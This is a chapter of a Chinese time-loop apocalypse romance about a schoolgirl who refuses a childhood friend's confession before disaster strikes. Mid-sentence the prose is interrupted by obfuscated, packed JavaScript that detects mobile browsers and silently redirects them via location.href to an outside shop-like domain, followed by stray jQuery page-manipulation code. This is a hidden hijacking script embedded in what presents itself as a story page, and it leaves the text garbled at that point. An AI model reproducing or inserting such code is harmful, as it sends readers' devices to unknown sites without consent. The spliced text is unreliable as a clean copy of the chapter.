还有十分钟。
还有十分钟,薛依梧就会在自己十七岁生日这天,迎来命运的告白。
薛依梧有些焦虑地咬着自己的指甲,不断地刷新聊天界面。
和陆子瞻的聊天记录还停留在昨晚上互道晚安。
这位寡言的竹马即便是在告白前夕,也不曾在言语之间流露太多情绪。
但是薛依梧知道,他一定会告白的。
陆子瞻一定会在今天向她告白。
“小梧桐,看什么看得那么入迷?”
同桌的王珊珊好奇地看过来。
薛依梧放下手机,心不在焉道:“没什么,就是看到一个新闻热点推送,觉得挺有意思的。”
“是不是那个什么盖然病毒?”这一下彻底打开了王珊珊的话匣子。
她说:“这些媒体一天天的危言耸听,把一个普通的流感病毒渲染得跟什么似的!我上周去医院,医生就说怀疑我得了这个,但是连检查都没做,因为这个病毒威力一般,随便一点感冒冲剂都能把它干趴下,你说说,这种程度的病毒,有什么可怕的?”
薛依梧根本没认真听,但还是点头应和:“是啊。”
没什么可怕的。
可怕的是即将到来的告白。
还有八分钟。
“呀,没注意时间,都快过饭点啦!”
王珊珊看了眼时间,神态自然地邀请薛依梧去食堂吃饭——
薛依梧不想去食堂,她不想在众目睽睽下哭出来。
如果陆子瞻向她告白,她一定会哭出来的。
而且她人生初次也是最后一次的被告白的地点也不该是在食堂。
学校的食堂很大,三层楼,带电梯和仓库,里外都装潢得很漂亮,但那不是适合告白的场所。
“你自己去吧,”薛依梧拒绝道,“我不太饿。”
“不吃饭怎么行?”
王珊珊一反常态地强硬,拉着薛依梧的胳膊就要带她去食堂。
王珊珊平时可不是这个性格。
薛依梧觉得有点奇怪,但是说不上奇怪在哪儿。
她只能小声说:“我闻到食堂里的饭菜味儿就想吐……”?她垂下眼,本来就白皙的肤色看上去似乎也带着些病气。
王珊珊这才作罢,松开手,离开之前叮嘱她:“那你去便利店买点什么垫垫肚子。”
“好。”
薛依梧点头。
她本来也要去便利店的。
便利店紧挨着操场,从操场一出来,不用几步,就能看到便利店门口的遮阳伞。
午休时间,男生们在操场打球。
薛依梧只要站在便利店门口,就一定能等到打完球准备回宿舍的陆子瞻。
那时候的陆子瞻刚刚赢下了一场友谊赛,正是兴奋的时候,脚下带风,被队友们簇拥着经过。
他就像是打了胜战的将军一样,在归来的时刻,撞见了翘首以盼的青梅。
也许是午后阳光太盛,微风又太温柔,也许是荷尔蒙混杂着燥热暑气,薛依梧被风吹起来的鬓发弧度勾人,陆子瞻被不知道什么东西冲昏头脑,一个箭步冲到了薛依梧跟前。
薛依梧被他的动作吓得一惊,却没有后退,只是仰起脸,望着他。
阳光从遮阳伞的边缘落下来,薄薄地覆在薛依梧的轮廓边缘,让她看上去闪闪发光。
薛依梧绝对不是学校里最漂亮的女孩,也不是陆子瞻认识的人里最漂亮的女孩。
她在哪里都不算是顶漂亮的。
柔和的线条,清澈的双眼,淡色的嘴唇,以及永远色彩单一和谐的、朴素着装。
还有黑色的、柔顺的长发。
用淡黄色的弹力绳发圈扎一个低低的马尾,温顺地下垂,盘踞在细白的颈侧。
陆子瞻只要看她一眼,就觉得仿佛有一条清凉澄澈的山涧溪流流过心坎,把所有污秽都洗刷殆尽。
“依依。”
陆子瞻在她跟前站定。
从小到大不知道叫过多少次的昵称脱口而出,却多了一丝往日不常见的温柔缠绵。
“嗯?”
薛依梧微笑着看着他。
她其实十分紧张,控制不住地用边齿咬住了舌侧的软肉。
还有三分钟。
“你们围在一起憋什么坏呢?”
巡逻校园的老师看见一堆人围在便利店门口,隔着老远就开口警告。
人群里几个心虚的学生推攘着跑开:“我们什么都没干!”
有不知真相的路人好奇:“这是在做什么?”
老师挥舞着手上的点名簿跑过来追人,学生们作鸟兽四散,路人不明所以。
头顶的蓝天如水洗澄澈,白云悠悠,一只胸脯饱满的白鸽突然飞过。
紧接着不知道从哪里钻出来几只形容可怖的老鸦,叫声粗粝。
陆子瞻被这些骚乱惹得有些分心。
薛依梧却始终专注地望着他。
“你们站那么近干什么!”
老师没有捉住人,正气急败坏,余光一瞟,看见了正深情对望的二人,气不打一处来,严厉道:“哪个班的?”
说着,就要走上前来。
陆子瞻反手抓住薛依梧的手腕,语气轻快:“跟我来。”
两个人奔跑在午后的校园。
路两旁的泡桐树在微风中摇晃着纸条,叶片相撞,发出如铃细响。
阳光从叶片间的缝隙筛下,碎如金屑,接连不断地地洒落。
而本来一抓一跟的两只手,也在不知不觉间成了交握的姿势。
陆子瞻的手心滚烫,连带着薛依梧冰冷的手心也变得温热起来。
还有一分钟。
终于,他们闪进一处隐藏在灌木丛中的小路,躲过了老师的追捕。
薛依梧来不及刹脚,摔进了陆子瞻的怀里。
陆子瞻靠在墙上,抬手抚住了薛依梧的后颈。
两个人气喘吁吁,胸膛起伏不定。
陆子瞻舍不得松手结束这个拥抱。
少男少女的气息在日光下混杂着野蔷薇的香气,变得馥郁浓烈。
薛依梧的额头抵着陆子瞻的胸口,因为刚刚的奔跑,她的脸红得像是成熟的番茄,几乎要滴出水来。
她大口大口地喘着气,右手控制不住地捏住了自己的领口,神情上有一种劫后余生的喜悦。
就是这个时刻。
她等待得太久。
“依依,”陆子瞻的声音温柔得像是揉碎了春风,“我喜欢你。”
他有力的双臂环抱住了怀中的少女,仿若环抱千金珍宝。
“我们在一起吧。”
薛依梧几乎要喜极而泣。
她控制不住,激动地加深了这个拥抱,双臂忍不住地颤抖。
十七年的等待都有了意义——
“不。”
薛依梧说:“我不要。”
有那么一瞬间,时间好像停止了。
陆子瞻怀疑自己听错了。
亦或者依依根本没有开口讲话?是他紧张之下出现了幻听?
但是他来不及思考这个问题。
因为突然之间,地动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001725|193979||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
山摇,风起尘卷,宁静祥和的午后校园在突然之间变了颜色。
天一下子阴了下来。
校园里响起了警报声。
陆子瞻还以为是恶劣天气来临。
被狂风掀动,踉跄了两步,但是他仍然镇定自若,只是低下头安抚怀里瑟瑟发抖的薛依梧,低声道:“没事的,可能是刮台风了。”
薛依梧面无血色。
内陆地区哪里来的台风?
“……还是来了。”
即便她拒绝了陆子瞻的告白,这该死的末日还是一如既往地降临。
陆子瞻没有听清她的喃喃自语,只当她吓坏了,把她又搂紧了一些。
“应该启动紧急预案了,我们去体育馆吧。”
学校开展过很多次类似的灾难预警演练,因此学生们大都有条不紊地撤离到了体育馆。
老师们也很冷静地在清点人数。
陆子瞻和薛依梧不在一个班,集合地点也不太一样,陆子瞻把薛依梧送到了她们班的集合点之后就离开了。
离开之前,他捏了捏薛依梧的手腕,低声道,“没关系的。”
不知道是在说这场突发状况,还是结果不在他意料中的告白。
薛依梧魂不守舍地抬头,看了他一眼,没有说什么。
王珊珊穿过人群,找到薛依梧。
“小梧桐。”
薛依梧朝她伸出手。
两个人的手牵在一起,晃了晃,手腕上的友谊手链闪闪发光。
王珊珊从口袋里摸出一个纸盒装的水果味牛奶,递给薛依梧,问:“没吃东西吧?垫一垫。”
薛依梧抽出手,摇了摇头,说:“吃过了。”
“是吗,那我喝了。”
王珊珊也不拿吸管,直接咬开纸盒的一角,咕咚两口喝完了牛奶。
看来味道不错,她发出了一声舒服的喟叹。
薛依梧伸出手:“我帮你扔掉。”
她站的位置离垃圾桶近一点。
王珊珊笑着把空包装递给她。
薛依梧走到了体育馆角落,在把包装扔进垃圾桶之前,又仔细看了一眼配料表。
是含有草莓果肉的果味酸奶。包装上用鲜艳字体强调“百分百真实果肉添加。”
而王珊珊对草莓过敏,一点点都能让她呼吸不畅。
两个人的相识就源于一盒草莓牛奶。
“诶,你喜欢草莓牛奶吗?我喝不了,你帮我喝吧!”
开学的时候,前桌女生爽朗的笑容让薛依梧记忆犹新。
王珊珊大概已经死了。
薛依梧微微叹了口气。
咚的一声,垃圾入箱。
薛依梧没有立即回到自己班级的队列,而是转身去了洗手间。
除了男女洗手间之外,学校还在体育馆内设置了第三类特殊洗手间,但这个洗手间的门总是紧锁着的。
薛依梧轻车熟路地从门口的盆栽底下找到了钥匙,打开了特殊洗手间的门。
里面空间狭小,堆满了清洁工所需的杂物扫把水桶之类的,还有不知道用来干嘛的背负式喷雾器,大部分连包装都没有拆开。
这里安装有两个特殊马桶,但马桶都新得不可思议,甚至没有撕开塑料保护膜。
薛依梧反锁好门,然后踢开扫把水桶,走到一个马桶跟前,塑料膜上积了一层厚厚的灰,她撕开薄膜,然后坐了上去。
她在思考。
“明明不一样了……但还是一样……不,也出现了变化。”
这是薛依梧第九十九次经历末日。